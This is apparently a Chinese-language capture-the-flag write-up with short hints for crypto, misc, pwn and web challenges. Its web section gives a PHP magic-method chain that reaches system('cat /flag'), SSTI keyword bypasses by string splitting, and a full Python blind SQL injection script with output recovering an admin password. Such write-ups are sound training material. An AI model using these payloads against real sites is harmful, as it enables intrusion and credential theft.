CRYPTO
T1
复数域应用RSA,\(\varphi\) 取 \((p^2-1)(q^2-1)\) .
MISC
T1
摩尔斯电码,用Audacity
打开频谱图就能看见了.
PWN
T1
flag1
是根目录下的一个程序,添加权限运行;
flag2
是一个隐藏文件,文件名:.flag2
;
flag3
在环境变量里.
REVERSE
无事发生.
WEB
T1
PHP的魔术方法:
字符串解析首先进入__destruct()
,接着返回的字符串进入__tostring()
,然后返回的是函数类型可以进入__invoke()
,接着由于指向了不存在的flash
就可以触发__get()
.
最后由于指向的championpoint()
函数是私有函数,在外部访问就会触发__call()
,然后执行date("Y-m-d H:i:s")
命令. 这里只需要将变量kk
改为system
、RieNs
改为cat /flag
,即可执行命令system("cat /flag")
,获得flag.
T2
SSTI注入+常规字符串绕过. 由于.__class__
等效于["__class__"]
,且一个字符串等效于多个字符串连接,所以.__class__
不允许用改成["__cla""ss__"]
就好了. 其余关键字同理.
T3
SQL注入. 只是查询错误会显示“查询失败”而不是详细信息罢了. 发现查询字符串password
后面连接OR 1<2
不回显任何内容,而连接OR 1>2
回显“用户名或密码错误!”.
因此,可以设计一个二分的方法逐位推断密码.
点击查看代码
import requests
s = requests.Session()
url = 'http://***/login.php'
flag = ''
def exp(i, j):
payload = f"or (ascii(substr(password,{i},1))>{j})#"
data = {
"username": "admin\\",
"password": payload
}
r = s.post(url, data=data)
if "用户名或密码错误!" in r.text:
return False
else:
return True
for i in range(1, 100):
low = 32
high = 127
while (low <= high):
mid = (low + high)//2
if (exp(i, mid)):
low = mid + 1
else:
high = mid - 1
flag += chr((low+high+1)//2)
print(flag)
运行结果:
点击查看代码
noilinux@noilinux:~/桌面$ python3 a.py
i
in
ins
ins0
ins0m
ins0mn
ins0mn1
ins0mn1a
ins0mn1a0
ins0mn1a09
ins0mn1a090
ins0mn1a0903
ins0mn1a0903H
ins0mn1a0903Ha
ins0mn1a0903Hah
ins0mn1a0903HahA
ins0mn1a0903HahA
出来密码就好办了. 登录后修改链接至根目录即可获取flag.
T4
在T2的基础上增加了禁止使用单引号的规则. 然而双引号可以使用,因此在“引号套引号”的字符串里,将'
改为\"
即可. 其余禁止使用的关键字还是利用字符串绕过的方法.